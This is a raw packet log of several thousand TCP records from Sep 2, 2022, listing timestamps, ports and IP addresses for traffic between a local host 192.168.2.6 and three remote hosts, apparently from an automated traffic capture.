Sep 2, 2022 14:02:21.043025970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043041945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043061972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043102026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043121099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043132067 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043143034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043165922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043185949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043201923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043222904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043227911 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043245077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043268919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043272972 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.043273926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043279886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043298006 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043340921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043376923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043392897 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.043404102 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043405056 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.043416023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043426991 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043426991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043448925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043469906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043520927 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043524027 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.043534040 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.043540955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043579102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043582916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043605089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043626070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043665886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043673038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043685913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043732882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043773890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043816090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.043845892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.043859959 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.043993950 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044017076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.044085026 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044089079 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044116974 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044140100 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044182062 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044260025 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044270992 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044280052 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044285059 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044308901 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044390917 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044444084 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044467926 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.044485092 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.044533014 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.077364922 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.077512980 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.077562094 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.077671051 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.077696085 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.077780962 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.077801943 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.077881098 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.077923059 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078018904 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078058004 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078157902 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078264952 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078372955 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078408003 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078505039 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078568935 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078661919 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078699112 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078790903 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078808069 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078830957 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.078886986 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.078911066 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.093377113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093445063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093472958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093504906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093550920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093597889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093657017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093703985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093719959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093767881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093780041 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093810081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093838930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093880892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093899012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.093940973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.093956947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094002962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094014883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094043970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094072104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094118118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094130039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094161987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094187975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094238043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094250917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094280005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094316006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094362974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094427109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094470024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094511986 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094549894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094589949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094630003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094650030 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094656944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094661951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094686985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094700098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094707012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094743013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094790936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.094803095 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.094832897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.111032963 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.111233950 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.111277103 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.111416101 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.111470938 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.111531019 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.185817003 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.304426908 CEST	49782	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.305417061 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.307570934 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.307584047 CEST	49784	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.312588930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.312865973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.355158091 CEST	80	49782	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.355690956 CEST	80	49785	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.355784893 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.364629984 CEST	80	49784	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.364762068 CEST	49784	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.371459961 CEST	80	49783	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.372153997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372209072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372229099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372251034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372262001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372301102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372335911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372339010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372370958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372376919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372416973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372426033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372457027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372462988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372494936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372495890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372530937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372536898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372571945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372575998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372627974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372639894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372678995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372718096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372720003 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372754097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372760057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372796059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372801065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372838974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372860909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372878075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372889996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372927904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.372930050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372970104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.372972012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373008013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373013020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373044968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373047113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373085976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373086929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373125076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373137951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373184919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373192072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373231888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373271942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373279095 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373315096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373353004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373358011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373402119 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373404980 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373444080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373444080 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373482943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373487949 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373522043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373550892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373560905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373569965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373610020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373613119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373675108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373692036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373730898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373733997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373773098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373775959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373814106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373841047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373853922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373856068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373889923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373893976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373929024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373931885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.373967886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.373971939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374011993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374020100 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374048948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374075890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374111891 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374114990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374152899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374155045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374191999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374196053 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374233007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374234915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374270916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374275923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374313116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374315023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374351978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374353886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374392033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374392986 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374430895 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374433041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374468088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374473095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374511957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374514103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374551058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374553919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374589920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374593973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374635935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374635935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374675035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374677896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374710083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374713898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374749899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374753952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374789000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374794006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374830961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374835014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374875069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374875069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374911070 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374916077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374950886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.374955893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.374994040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375000000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375039101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375041008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375081062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375081062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375118971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375123024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375161886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375165939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375205040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375209093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375241041 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375243902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375282049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375283957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375323057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375324011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375365019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375387907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375427961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375428915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375467062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375467062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375503063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375507116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375543118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375547886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375585079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375586033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375623941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375629902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375683069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375683069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375718117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375721931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375761032 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375761986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375794888 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375801086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375839949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375844955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375880003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375925064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.375932932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375962019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.375962973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376013994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376051903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376053095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376089096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376092911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376131058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376131058 CEST	80	49768	62.204.41.123	192.168.2.6
